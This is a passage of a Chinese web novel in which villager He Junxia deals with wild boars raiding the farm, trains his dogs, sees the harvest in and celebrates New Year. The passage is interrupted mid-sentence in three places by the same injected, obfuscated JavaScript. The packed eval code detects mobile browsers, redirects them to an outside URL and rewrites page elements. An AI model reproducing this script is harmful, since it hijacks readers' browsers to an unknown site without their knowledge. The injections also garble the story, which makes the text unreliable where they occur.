一天清晨,一声愤怒的咆哮惊起树梢上休憩的鸟儿,乌泱泱的鸟群哗啦啦地腾空而起,打破了贺家村的宁静。 为首的几位组长面沉如水,摆在他们面前的是受到严重损坏的防雪保暖棚和坑坑洼洼不成形的土地。 尚未成熟的红薯和土豆就这样大咧咧地暴露在冰冷的风雪下,周围是一连串清晰显眼的蹄印。 贺成材蹲下来摸着地里被啃得只剩下半截的红薯,眼里满是心疼和愤怒。他上前几步仔细观察地上的蹄印,片刻后起身下了定论。 “是野猪。” “脚印有大有小,像带崽的母猪。” 话音落下,田间瞬间炸开了锅。 那可咋整? 现在才初冬,野猪就找不到食物跑下山霍霍他们种的粮食。越往后面天气越冷,山上的食物越少,他们的粮食得被霍霍成啥样。 一想到自己辛辛苦苦地种出来的东西会便宜野猪,众人就气得不行,恨不得立刻冲进山里把那些该死的畜生干掉。 贺强国也没想到快收获了还能出这档子破事,叹了口气道:“等会儿我去找吴队长商量一下,看看怎么安排。大家等会回去记得跟家里人说,最近不要去大山深处,要挖冬笋就在外面那片林子挖,知道不。” “知道了。” 众人有气无力地回答。 贺强国加重语气再次提醒:“一定不要抱有侥幸心理,现在没药没机器动不了手术,万一遇见野猪被拱下山摔瘫了、摔折了,这辈子就废了!” 这番震慑恐吓很有作用,小年轻们脸上的不以为意的渐渐消失,显然把大队长的话记在了心里。 贺隽夏和贺成材却脸色大变。 “小秋和贺灵两个大早上就进山挖笋子去了,我去把她们叫回来。” 贺隽夏落下一句话,扛着锄头转身就跑,贺成材和贺灵的父亲贺木头紧跟其后,几个人很快就跑没影了。 俗话说一猪二熊三老虎。 野猪对人类的威胁性最高,成年野猪的平均体重在百斤以上,有些野猪甚至高达四五百斤,轻轻松松就能用獠牙顶死人。 而且带崽的野猪更是恐怖,攻击性极强,一旦感受到威胁,绝对是不死不休。 贺强国看着三人匆匆离去的背影欲言又止,想了想,干脆对剩下的人道:“今天上午就休息吧,还有谁家里人在山上,赶紧去报信,没山上的也要把消息传到位。” “尤其是那些调皮的娃娃,一定要他们记住,不能往山里面跑。” 众人应答一声各自散去。 而急匆匆跑向某座大山的贺隽夏还上山就听到一阵激烈的狂吠,是芝麻和乌云的声音。 贺隽夏顿时心头一紧。 他朝山上大声喊:“小秋,贺灵,你们在哪里?” “哥,我在这,下面有两头野猪,我和贺灵在树上不敢下去。” 听见她们的回答,贺隽夏终于松了口气回道:“别怕,我们马上来救你们。” 说完他又转头朝身后的两人道:“爸,你快去找保卫科的人过来,我们三个对付不了。” 野猪皮糙肉厚,还喜欢蹭松树油,在泥巴坑里打滚,给自己造一件坚硬的盔甲。 有时候老式土猎枪的子弹都不一定能穿破野猪厚厚的皮毛,更别说他们一点也不锋利的锄头。 贺成材反应过来往回跑,贺隽夏和贺木头则边山上边呼唤贺隽秋和贺灵,根据声音锁定她们的具体位置。 随着他们逐渐靠近大山深处的竹林,地面传来的震感就越来越强烈,犬吠声也更加清晰。 就在前面了。 贺隽夏小心翼翼地用手拨开挡住视野的杂草,看见贺隽秋和贺灵分别坐在两棵树的树枝上,芝麻和乌云正在与两头体型巨大的野猪对峙,还有七八只小野猪零零散散地藏在各处的草丛里。 但两只小狗还没成年,正处于抽条的尴尬期,面对两只体重是自己数十倍的成年野猪根本不够看,只能靠灵敏的动作勉强避开野猪的攻击。 想反击根本不可能。 贺隽夏小声道:“木头叔,你小心点,做好爬树的准备,我想把野猪引下山。” 不然芝麻和乌云就要完蛋了。 而且野猪在山上找不到食物,就会去山下找东西吃,刚才田里的惨烈景象就是最好的证明。 既然如此干脆把两只野猪引下山让保卫科的人解决掉,大野猪一死,剩下的几头小野猪暂时成不了气候,能安分好一段时间。 贺木头握紧手里的锄头:“小夏,你说要怎么做,我都听你的。” 贺隽夏:“行。” 他凑在贺木头耳边小声说了几句,两个人对视一眼,贺隽夏站出去喊道:“芝麻,乌云,快过来。” 两只小狗看见贺隽夏顿时晃着尾巴向他扑来,而后仿佛得到了依仗一般,气势高涨,叫声愈发响亮。 两头野猪根本不怵,刨着蹄子,发出愤怒的哼哧声紧随其后,地面一阵颤动。 可想而知,一旦他们和野猪正面撞上,下一秒就会被强大的冲击力拱翻在地。 贺隽夏和贺木头瞬间启动,向两个不同的方向跑开,两只小狗夹着尾巴冲在最前面。 有那么一瞬间,贺隽夏几乎能感觉到野猪鼻孔里呼出的热气。 好在他的视野里出现了贺成材和保卫科等人的身影,一群人乌泱泱地冲过来,狩猎者和猎物的身份瞬间转换。 追在他身后的野猪怕了。 野猪转身试图逃回茂密的山林却为时已晚,几声枪响后,庞大的身躯重重倒地。 不愧是军用枪。 就算是老版本也比土猎枪的威力大多了。 贺隽夏停下来大口大口地喘气,指着一个方向道:“木头叔那边还有一头。” 训练有素的军人们立刻跟着他上山,一部分看热闹的村民也凑了过去,另一部分则围着倒地的野猪指指点点。 可惜不知是枪声惊住了野猪,还是野猪嗅到了太多人类的气息,等大部队赶到时,另一只成年野猪已经带着小猪崽遁入山林深处,再难寻踪迹。 听见贺木头说那头野猪只追了他一小会就掉头离开,众人不免有些惋惜,要是能把两只野猪都干掉,农场也不用愁派人守夜的事了。 “汪汪”“汪汪” 芝麻和汤圆突然朝着一处草丛狂吠,贺隽夏顺着它们吼叫的地方看去,一只圆滚滚的小野猪进入他的视线。 应该是没及时跟上大野猪落单了。 一瞬间,风水轮流转,芝麻和汤圆开始以大欺小,兴奋地追着落单的小野猪扑咬,咬得小野猪哀哀叫唤。 贺隽夏伸手把小野猪提起来,还下意识掂了掂,让它避免命丧狗口的命运——小野猪也是猪,送去养猪场养大了再吃不香吗? 贺隽夏的脑海里不自觉地浮现出红烧肉、蒸排骨、辣椒炒肉、卤猪蹄等各种猪肉类美食的声音。 贺隽夏的喉结微微滚动,舔了舔有些干的嘴唇,转头就看见贺隽秋被一个年轻的保卫科战士小心翼翼地从树上抱下来。 等等,抱下来? 贺隽夏拾起两个女生慌乱中丢在地上的背篓,把小野猪放进自家背篓,绕过去看向年轻军人的正脸。 贺隽夏恍然大悟:“我说是谁呢,张全,你今天不是负责跟张经理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938663|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去县里采购吗?” 另一人插嘴道:“他听说你妹被野猪困在山上,急得撒开腿就跑,我在后面叫都叫不住。” 张全低下头不好意思道:“对不起,班长,你罚我吧。” 贺隽秋急了。 她马上求情道:“班长,小张哥是为了救我才这样,他不是故意的,你能不能别罚他。” 女孩眼里的焦急几乎要化为实质。 班长的视线在两人身上转了一圈,笑眯眯道:“那可不行,功是功,过是过,没有以功抵过的规矩。” “小张,你的活李盛替你干了,记得好好谢谢他,另外擅离职守,罚你多守夜三天。” 张全身体立正:“是。” 贺隽夏给了张全一个好兄弟谢谢你的眼神,只觉得张全是因为他和贺成材才这么担心贺隽秋的安全,完全没有往其他方面想。 毕竟张全是贺成材的二徒弟,他们一起修建养殖场的那段时间处出了不错的情谊。 殊不知贺隽秋在他看不见的地方偷偷松了口气。 …… 一群人扛着约莫有两三百斤的野猪回到村子,引来了无数村民的围观。 芝麻和乌云发现的小野猪憨态可掬,惹得年轻女孩们直呼可爱,还有人甚至想上手抱一抱。 不过这些请求都被贺隽夏拒绝了。 小野猪再小也是野兽,万一不小心被咬上一口感染了,可不是什么好玩的事。 大野猪和小野猪都算农场的财产,闻讯赶来的负责人看着村民们渴望的眼神,当即拍板道:“今天下午吃野猪,凡是咱村的人,不管是不是员工,都可以来领两勺免费的肉菜。” 正常情况下,他们应该对被杀死的野猪应该进行无害化处理,也就是消毒后挖深坑填埋。但现在情况特殊,负责人相信就算挖个坑埋了,也肯定会有人偷偷挖出来,那还不如大家一起分着吃。 围观的人们顿时欢呼起来。 别看只有两勺,但自从郊区养猪场闹猪瘟后,县里的猪肉价格就贵得吓人,一斤猪肉要十块钱,不是逢年过节,大家还真舍不得买猪肉吃。 而在拥挤的人群里,曾秀平拉着贺隽秋上上下下、左左右右地打量,确认她身上没什么伤口后才松了口气。 曾秀平抱怨道:“你们把我魂都要吓出来了。” 她负责的田地在另一个地方,中间隔着一座小山,所以直到事情结束她才知道这件事。 贺隽夏听负责人的吩咐把背篓里的小野猪交给养猪场的王姐,笑道:“没事就行,不过小张还为这件事挨罚了。” 曾秀平惊讶:“咋回事啊?” 贺隽夏把刚才看见的情况告诉她,曾秀平哎呦一声道:“那是得感谢一下,怎么说也是为了小秋。” 贺隽秋转头看向人群里的张全,两人恰好对上眼,男生慌乱地低下头露出绯红的耳根。 老班长默默挪开视线。 好小子,真让人羡慕啊,感情进度比他们这些老大不小的光棍还快。 哎,等等,人姑娘是贺家村的人却没工作,不会还没成年吧?! 老班长的表情瞬间严肃起来,和村里的姑娘谈恋爱可以,原则问题却不能犯。 “张全,你跟我过来,我有事要问你。” 老班长带着张全走了,贺隽秋遗憾地收回目光跟着家人离开。 今天两只率先发现野猪并向贺隽秋发出提醒的小狗是大功臣,贺隽夏翻出柜子里为数不多的肉罐头开了两罐作为奖励,蹲下来慈爱地看着芝麻和乌云大口大口地吃罐头。 唔,他该找个时间再去一趟县里的宠物店了。 就是不知道店还开着吗? 30.第 30 章 万幸,宠物店还没有倒闭。 贺隽夏花二十元买了两箱狗罐头和几袋狗粮,店老板激动得语无伦次,态度热情到只差把东西亲自送去贺家村。 没办法,自从特殊磁场导致科技失效,通讯、交通等方面受到严重打击,人们的生活水平就直线下降,宠物店的生意也随之一落千丈。 这时候人都不一定能吃饱,更别说买猫粮狗粮,不把宠物遗弃就算好主人了。 店老板为贺隽夏家里的两只小狗感到庆幸,它们遇见了一个大方又不差钱的主人。 离开宠物店后,贺隽夏又去菜市场花八块钱买了条两斤重的鱼,准备拿回家熬汤。鸡鸭那些倒是不需要,等再过一段时间,村里的养鸡场步入正轨,贺家村就能实现鸡蛋鸡肉的自给自足。 价格肯定比县里便宜。 贺隽夏把摊主杀好的鱼放进三轮车后车厢,路过某个肉铺时发现猪肉的价格又涨了五毛,不由得咂舌,还有人吃得起猪肉吗? 他一个月的工资还不够买八斤猪肉。 贺隽夏摇摇头,加快脚上的动作快速离开菜市场。他在十字路口找到提着东西的贺根和贺强民一起回村。 最近县里经常发生盗窃抢劫案,前几天还闹出了人命,因为没监控没目击者,到现在凶手都没抓着,弄得人心惶惶,村里人都是结伴来县里买东西。 为此,贺隽夏还在三轮车里藏了把锋利的杀猪刀以防万一。 毕竟从县城到贺家村的这段路,有一大段都是荒无人烟的郊区公路,前不着村,后不着店,要是有人起了歹心,拦路抢劫,怕是死了十年八年都不一定会被人发现。 贺隽夏轻轻叹气。 失去监控的震慑后,各种魑魅魍魉都冒了出来。 贺强民看着三轮车里的纸箱子好奇道:“小夏,你买了什么,买这么多,哦呦,还有狗粮呢。” 贺强民是贺强国的弟弟,也就是贺隽夏的三叔。 贺隽夏笑道:“上次多亏芝麻和汤圆提醒,小秋和贺灵才发现野猪朝她们冲过来,不然情况就危险了,我想着买点狗粮奖励一下。” 贺隽夏故意没回贺强民的第一个问题。 村里大部分人对猫狗的态度就是给点剩饭剩菜不饿死就成,他要是说自己买了几箱狗罐头,难免让人心里嘀咕,觉得他家多有钱,对狗都这么好。 枪打出头鸟。 贺隽夏不想让自家成为众人心里标新立异的存在,也没能力改变人们心里根深蒂固的观念,他转移话题道:“对了,三叔,你买的啥,我看县里的猪肉又涨价了,鱼都要五块钱一斤,贵死了。” 贺强国果然没有在意先前的问题,他也忍不住吐槽道:“一个苹果三块钱,抢钱呢,要不是东东和甜甜吵着要吃,我都舍不得买。” 贺根指了指后车厢里的奶粉,愁眉苦脸道:“这才是真抢钱,两罐就要我半个月的工资,得亏我和我婆娘都有工作,不然咋吃得起啊。” 三人齐齐摇头叹气。 世道艰难,日子不好过啊。 几个人紧赶慢赶赶回贺家村,曾秀平就守在村口,看见他们平安回来才露出笑容。 曾秀平掏出钥匙打开铁门,芝麻和汤圆正懒洋洋地躺在地上翻着肚皮晒太阳。 两只小狗听见动静蹭得一下爬起来,热情地晃着尾巴围着三轮车转。 “去去去。” 贺隽夏挥手让两只小狗先走开,免得它们被行驶中的三轮车误伤。 芝麻·汤圆:OvO 热情的小狗完全不知道人类的担忧,兴奋得直往贺隽夏身上跳,跳不上去也要立起来蹬着两只后腿,把前腿搭上去。 贺隽夏:…… 贺隽夏随手拿过晒在角落里的拖鞋作势要打,芝麻和汤圆看见他的动作瞬间夹着尾巴跑了。 怂样 贺隽夏哼了一声,放下拖鞋把三轮车停在院子角落,将一条被开膛破肚的草鱼递给曾秀平。 贺隽夏抱起三轮车里的狗粮和罐头放进储物柜,芝麻和汤圆又立刻屁颠屁颠地跟上来拿头拱他的脚,摇晃的尾巴不停地拍打他的小腿。 贺隽夏:“坐下。” 芝麻和汤圆立刻坐下,乖巧地瞪着圆溜溜的大眼睛,眼里流露出对罐头的渴望。 小时候的它们经常能通过这招骗到好吃的。 贺隽夏:…… 贺隽夏默默移开视线。 咳咳,就是吧,土狗有种燃烧颜值长大的特性,芝麻和汤圆又正好处于抽条的尴尬期,看起来就有一(亿)点磕碜。 贺隽夏打开一袋1.8kg的狗粮,用手抓了两把,分别放在两个食盆里。 芝麻和汤圆眼巴巴地流口水。 贺隽夏扶额:“吃。” 得到命令的两只小狗立刻以迅雷不及掩耳之势把脑袋埋进食盆,没过一会就把小铁盆舔得油光锃亮。 贺隽夏:…… 贺隽夏沉思,他家貌似没有饿着狗吧,还是狗粮的魅力太大了? 贺隽夏只在两只狗小时候喂过一段时间的纯狗粮,等它们长大了些,就开始把剩饭剩菜、鸡蛋、鸡肉等和狗粮混着喂。 倒不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968046|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他舍不得买狗粮。 只是未来的事都说不清楚,如果特殊磁场迟迟不消失,或者国家迟迟没有找出解决办法,市面上现存的人类科技造物会越来越少。 他不能让狗养成只吃狗粮的习惯。 而且他养狗不是喜欢狗,把狗当宠物养,是要将狗训练成看家犬,要两只狗有血性。 宠物是宠物,看家犬是看家犬。 说句残忍的话,如果两只狗达不到贺隽夏的训练要求,就算贺家人心肠都不错,它们也绝对没有过不上现在的好日子。 ——在人都吃不上肉的情况下,农村的狗别说吃肉喝汤,不被抓去杀了吃,都是主人家心善。 贺隽夏拆开纸箱子取出两个肉罐头在芝麻和汤圆面前晃了晃,开始今天的狗狗训练。 …… 下午贺家四人美美地吃了顿鱼肉火锅,顺利完成训练任务的两只小狗也得到了额外的奖赏——两碗水煮鱼汤,汤里是被小心剃下来的白色鱼肉。 这是曾秀平专门做的。 自从她知道两只小狗不惧危险保护了贺隽秋,就对芝麻和汤圆上了心,不再把它们当成儿子养的宠物,而是家里的一份子。 贺隽夏陪着两只小狗玩了一会儿,时间不知不觉来到晚上,今天轮到他和贺成材去守田。 野猪食量惊人,破坏力惊人,还特别记仇。 所以即使有一头成年野猪被击毙,在另一头成年野猪没被杀死之前,每个组都必须派人去田里守夜,防止野猪破坏田地。 好在每次需要的人不多,平均每个人每个星期才轮到一次,第二天上午还能休息半天,倒也不算累。 “芝麻,过来。” 贺隽夏和贺成材带着芝麻一起出门,汤圆则留下,来看家。 狗的嗅觉灵敏度是人类的千倍,一旦野猪出现,芝麻就会发出声音提醒。上回就是他狂吠惊醒昏昏欲睡的众人,让大家合力把偷摸在田里刨东西的野猪赶走。 吴队长看着走在前面的芝麻,眼馋得不行,不死心地问:“小夏啊,真的不卖,要不再考虑考虑嘛,反正你们家有两条。” 贺隽夏笑道:“哎呀,吴叔,真的不行,卖了小秋指定要和我们闹。” “现在她把芝麻和汤圆当宝贝,对狗比对我们都好,我带芝麻出来守田她都不乐意,还在家里发脾气。” 贺隽夏默默在心里向贺隽秋说了声对不起。 为了把芝麻和汤圆训练成看家勇武的好狗,他费了无数心思和时间,眼见就要训成了,哪能让别人摘桃子。 给钱也不卖。 31.第 31 章 不过吴队长到底是农场的大队长,也是保卫科的科长,不能一点都不留情面。 贺隽夏笑道:“要不您买条狗回来,我来帮您训练。” 吴队长眼睛一亮:“可以啊,能不能再麻烦和我一起去帮我掌掌眼,我就相信你的眼光。” 他不是光嘴上说,是真的想给保卫科养条看门狗,毕竟有些时候狗比人有用多了。 贺隽夏点头,态度热情:“没问题,您有时间随时来找我。” 吴队长拍拍他的肩膀:“好小子,真是太麻烦你了,我和你爸一辈,叫我吴叔吧,什么您不您的,听起来怪别扭。” 贺隽夏笑:“不麻烦,吴叔,能帮上你的忙就行。” 几人说说笑笑地来到田里,芝麻纵身一跃跳上田坎开始奔跑巡逻,鼻尖呼出白色的热气,没过一会就跑出去数十米远。 贺隽夏拆了颗水果糖含在嘴里,开始用木棍敲打手里的铁盆制造磨人的噪音。 转眼间,太阳从东边冉冉升起,万丈霞光绚烂夺目,贺隽夏眯起眼睛打了个长长的哈欠。 终于结束了。 贺隽夏回到家里倒头就睡,狗似主人,芝麻睡的速度比他还快,几乎是一趴回狗窝就发出了响亮的鼾声。 时间不知不觉地流逝。 一天,两天,三天,四天……地里的农作物终于到了可以收获的时候。 接近零度的气候带来刺骨的寒风,贺家村的人们却斗志昂扬,精神抖擞,卖力地挥舞着锄头挖出一整季的收获,完全不畏惧冬季的霜雪。 “多少多少?” 一个人迫不及待地问。 “208斤。”负责记录的贺隽秋看了眼称上的数字问:“还有没有没称的,这亩地的土豆称完了吧?” “没有了,加起来一共多少斤?” 贺隽秋在本子上写写画画,片刻后抬头高兴道:“一共1326斤。” 人群顿时爆发出剧烈的欢呼声。 虽然亩产一千三放在以前算不上多,甚至可以被称为减产,但今时不同往日,经历过雨灾又要面对严寒,能取得这样的数字绝对是所有人辛勤劳动的成果。 说一句大丰收也不为过。 幸福快乐的气息蔓延至农场的每一个角落,所有人的脸上都带着笑容,为终于到来的丰收欢呼。 几天后,一袋袋还挂在泥土的土豆红薯被运往县城,种植小组的员工们也获得了额外的提成奖励。 大部分人都选择将得到的红薯土豆卖出去换成钱,贺隽夏家随大流卖了些白菜。 本来曾秀平和其他人一样,想把这些作为提成的红薯土豆等全卖掉,但被贺隽夏制止了。 因为许丽已经明里暗里提醒过很多次,说自己担心未来的天气情况,让他们先把粮食囤着,不要把粮食卖出去。 得知许丽是重生者后,贺隽夏就非常重视她的话,自然不可能把家里的粮食卖掉,哪怕他们家囤的食物不少。 要不是担心太显眼,怕特殊时候遭人惦记,贺隽夏一点都不想卖,反正他们家房间多,还有地窖,放几百斤红薯土豆轻轻松松。 * 冬天是万物沉寂的世界,贺家村的热闹却从未因为寒冷的天气而停歇。 虽然地里的作物卖出去后种植小组的员工们得到了一个七天小长假,但七天过后他们又立刻忙碌起来。 南方的冬天是法术攻击,气温最低也不会低于零下五度,非常适合耐寒作物生长,也只适合耐寒作物生长。 贺隽夏低头往手套里吐出一口热气,冰冰凉凉的手被热气环绕,总算有点活过来的感觉。 好冷,耳朵好痒。 贺隽夏忍不住伸出手指挠耳朵,他的两只耳朵都长了冻疮,痒的时候能叫人发疯,偏偏还没有什么治疗的好办法,只能等天气暖和后冻疮自己消退。 贺隽夏叹了口气。 他真傻,真的,买过冬物资的时候不注意,居然买的是不遮耳的帽子,现在遭报应了。 贺隽夏继续往手套吹热气,出门时忘记贴暖宝宝,手一直没暖和,冰冰凉凉的,可千万别再长冻疮了。 贺隽夏痛苦地想着,注意到旁人投来的羡慕的眼神又默默叹气。 他们家的情况还算好,村里比他情况糟糕的大有人在,有些人手上、脚上、脸上、耳朵上都长满了冻疮,发作起来的时候那叫一个痛苦。 总感觉今年冬天冷得过分了。 贺隽夏来到村里废弃了好几年的村小,这里已经被改造成活动中心,放着有一些简单的运动器材。 不过他今天不是来玩,而是来参加农场的年终总结大会。他和曾秀平都评上了劳模奖,听吴队长说负责人设置了一笔丰厚的奖金。 贺隽夏满怀期待地走进几间小学教室打通后改成的会议厅,一股热气扑面而来,瞬间驱散了冰雪带来的寒意。 贺隽夏来到写有自己名字的椅子上坐下,这边是专属于获奖者的位置,他左边是许丽右边是曾秀平,都是他熟悉的人。 没过多久,所有人到齐,主持人站上台宣告年终大会正式开始,首先请…… 贺隽夏坐在椅子上昏昏欲睡。 不怪他想睡觉,实在是台上讲话的人都是没啥心意的官话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972845|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套话,会议厅里又坐着近三百人,关着门和窗户导致二氧化碳含量过高,就是不想睡的人也要迷糊了。 “起来起来,到我们了。” 曾秀平用胳膊肘碰了喷儿子,小声把贺隽夏叫醒。 半眯着眼睛实则在睡觉的贺隽夏晃了晃脑袋,用力掐了把手腕让自己清醒过来,跟着大部队一起上台领奖。 获得劳模奖的员工共有10位,评选规则主要是看员工在雨灾期间的表现和平时的出勤率(保卫科不参与评选)。如果不是贺成材和他徒弟时常被县里召去建房子,他应该也能评上。 贺隽夏握着手里的百元大钞,头脑彻底清醒,脸上的笑容比花还灿烂。 但他已经是获奖的人里表现得比较冷静的那部分,有些情绪激动的人甚至当场抓着负责人的手哭了起来,边哭边说感谢的话。 领完奖下去时,贺隽夏看见大部分人的眼睛都红红的,连曾秀平也不例外,倒显得他像个异类。 贺隽夏:…… 贺隽夏努力回想这辈子最伤心的事,让自己的眼睛也变成红色好融入集体。 贺隽夏不明白他们为什么哭。 虽然奖励是100元现金和一套保暖用品,全部换成钱差不多是大家两个月的工资,非常丰厚,但也不至于让人激动到哭出来吧。 可是看大家的模样也不作秀,更像真情实感的流露。 表彰大会结束后各回各家,贺隽夏好奇地问曾秀平原因。当然,他没傻到直接问曾秀平为啥哭,而是用其他获奖者做筏子,不着痕迹地引出自己的问题。 曾秀平笑着没说话,她轻轻抚摸着手里作为奖品的百元大钞,眼里是说不出的自豪和喜悦。 刹那间,贺隽夏恍然大悟。 这是被他人承认,被他人认可的喜悦,就像曾经贺成材的几个徒弟登门送拜师礼时,贺成材的眼泪那般。 用个不恰当的比喻就是士为知己者死。 而身为年轻人的他见识过太多太杂的网络消息,早已不需要一个劳模奖来证明自己,自然感受不到其他获奖者发自内心的喜悦。 不过即使没有对劳模奖发自内心的喜悦,贺隽夏也依然为曾秀平和现金奖励高兴。 对了,还有保暖用品。 贺隽夏拿出保暖用品里的帽子,是用毛线织出来的帽子,针脚细细密密,还带了耳遮,摸起来非常舒服。 看来他的旧帽子可以退休了? 不过毛线织成的帽子是松紧款式,而他的旧帽子是加绒的军帽款,比起毛线帽更加保暖。 选择整体保暖还是耳遮是个重要问题? 32.第 32 章 小孩子才做选择,成年人只会全都要。 贺隽夏先把毛绒帽戴在头上,再叠加老式的灰绿色加绒军帽,脑袋顿时被裹得严严实实,一点也不透风。 他站在镜子前看着自己的新造型满意点头,不错,是一加一大于二的效果。 贺隽夏伸手将两个帽子摘下来,转头看向和毛线帽配套的红色围巾、手套、和袜子,思考如何处理它们。 帽子只是个小失误,他们家不缺保暖用品,可把这些东西放在杂物柜里等着落灰未免有些浪费。 要知道入冬后保暖物品的价格节节攀升,买一套保暖用品得花不少钱,还有很多人买不起。 曾秀平显然也想到了这个问题。 她问道:“小夏,毛巾、手套和袜子你要不要,不要我拿去送人。” 贺隽秋紧张:“妈,你要送给谁啊?” 曾秀平把奖金放进储物柜,转头道:“我想想,一套送给贺安全他奶,一套给你三叔家的贺冬。” 贺隽夏对此没有任何意见,让曾秀平随便处理,贺隽秋却失望地收回目光。 她本来想着要是她哥不需要,她就拿走送给小张哥。不过既然她妈已经有了安排,她也不好再提出来,总不可能和陈奶奶、小堂弟抢东西。 要不还是花钱买毛线打一套吧。 贺隽秋盘算着小金库,心思越飞越远,整个人都显得不在状态,呆呆地站在原地。 贺隽夏狐疑地看了她一眼,黑色的眼睛微微一转,心,小心翼翼地溜到贺隽秋身后,伸出手轻拍她的肩膀。 “想什么呢? ” “啊啊啊啊啊啊!” 贺隽秋发出尖锐的爆鸣声,而后惊魂未定地捂着胸口,对贺隽夏拳打脚踢。 “你吓我干什么?!” 贺隽夏没想到贺隽秋的反应这么大,在曾秀平和贺隽秋的怒视下不好意思地摸了摸鼻子,举起双手表示投降。 “错了错了。” “要不你拍回来?” 贺隽秋冷笑一声摩拳擦掌,重重拍向贺隽夏的肩膀,拍得他龇牙咧嘴。 “嘶--” 贺隽夏倒吸一口冷气,右手捂着肩膀,看起来痛得不行。 曾秀平又将谴责的目光对准贺隽秋,贺隽秋凶巴巴地瞪着贺隽夏,只恨刚才没有真的用力拍下去。 贺隽夏识趣地见好就收。 他掀开桌布取出桌下的炭火盆,用铁钳刨开火盆表面的炭灰,加了两块新炭进去。 一家人围在火盆边取暖闲聊,曾秀平止不住地说今年的冬天好像格外冷。 贺隽夏没有经历过往年的冬天,没办法拿两者对比,但见贺成材和贺隽秋也赞同附和,不禁开始为刚种下的蔬菜种子担忧——这些都是专家根据他们地区往年的气候变化选择的蔬菜品种。 事实证明,贺隽夏的担忧很有必要。 这批种子的出苗率只有60%左右,远远低于正常情况下的出苗合格率。 好在大家心里都有数,没有对这批蔬菜抱太大的希望,面对出乎意料的出苗率勉强能接受。 毕竟今年冬天实在是太冷了。 …… 时间眨眼就到了除夕。 为了准备这顿丰盛的年夜饭,贺家提前半个月就开始忙活,今天总算可以敞开肚皮大吃一顿。 红烧肉、红烧鲤鱼、粉蒸肉、西红柿炒鸡蛋、肉丸粉丝汤、梅菜扣肉、炸鱼块、红烧鲤鱼、牛羊肉火锅…… 一张长达一米五的长方形餐桌被丰盛的菜肴占满,连边边角角的缝隙都摆上了碗筷和饮料,怕是能从除夕夜直接吃到年初八。 “噼里啪啦、噼里啪啦……” 门外响起震耳欲聋的声响,硝烟弥散,带来浓烈又独特的火药气息。 年味儿来了。 贺家四人举起碗筷大快朵颐,不同风味的菜肴在口腔里与香甜的米饭混合均匀填满饥饿的胃袋。 贺隽夏以前不喜欢吃红烧肉,准确说是不喜欢吃任何肥肉,总感觉肥肉腻得慌,但今天他动筷最多的菜就是红烧肉和猪油渣,尤其爱上层软糯到入口即化的肥肉。 油脂的香气和风味带来了无与伦比的享受,红烧肉是餐桌上最先光盘的菜肴,然后是肉丸子粉丝汤和红烧鲤鱼…… 芝麻和汤圆也有一份属于自己的年夜饭,年夜饭由肉罐头、狗粮,鸡蛋,水煮鸡胸肉、水煮牛肉、水煮鱼肉等构成,量大管饱,吃得两只小狗肚子浑圆。 吃饱喝足的小狗躺在地上舒服地眯起眼睛,吃饱喝足的人类却不打算把美好的时光浪费在家里。 贺隽秋吃完饭就跑出了门,曾秀平和贺成材收拾好碗筷也出门散步去了,只有贺隽夏留在家里,一只手一条狗,轻柔地给小狗按摩肚子。 年夜饭吃完,天色已经很晚了,时而又绚烂的烟花在夜空绽放,门外是小孩子们欢天喜地的玩闹声。 贺隽夏突然感觉到一种前所未有的孤独。 ‘系统?’‘系统?’ ‘系统444?’ ‘系统444?’ 没有任何声音给出回应,只有安静到死一般的寂静。 有时候他真怀疑自他就是‘贺隽夏’,没有死亡也没有穿越也没有系统,只是现代工作压力太大,让他产生了一些幻觉。 贺隽夏把两只小狗抱在怀里揉捏,仿佛这样就能汲取到一些温暖和力量。 不过他很快就没有时间伤春悲秋。 贺隽夏看着贺隽秋手上隐隐闪过的金色光芒渐渐眯起眼睛,他笑道:“把手套和围巾取了来烤火吧。” 贺隽秋没说话,只是乖乖点头,一张圆圆的鹅蛋脸红得像苹果,连耳根都是红色。 她脱下暖呼呼的手套和围巾,左手若隐若现的金色光芒在烛火的照耀下泛着迷人的光彩,那是一条由小金珠组成的红绳手链,小金珠中间镶嵌着三个表情各异的金色老虎。 贺隽夏挑眉:“手链挺好看,谁送的?” 如果珠子和老虎都是金子,以家里平时给贺隽秋的零花钱和她过年做兼职攒的钱可买不起这样。 贺隽秋显然没想到他会突然问手链的事,下意识把左手收了收,企图将手链挡起来。 有问题! 贺隽夏眯起眼睛打量眼前的女孩。 贺隽秋讪讪地把手拿出来,低着头,食指不停地交叉,显示出内心的纠结。 贺隽夏笃定:“谈恋爱了。” 毕竟贺隽秋的几个好朋友绝对不会送这样大手笔的礼物,而如果是曾秀平和贺成材买的手链,贺隽秋也不会扭扭捏捏不吭声。 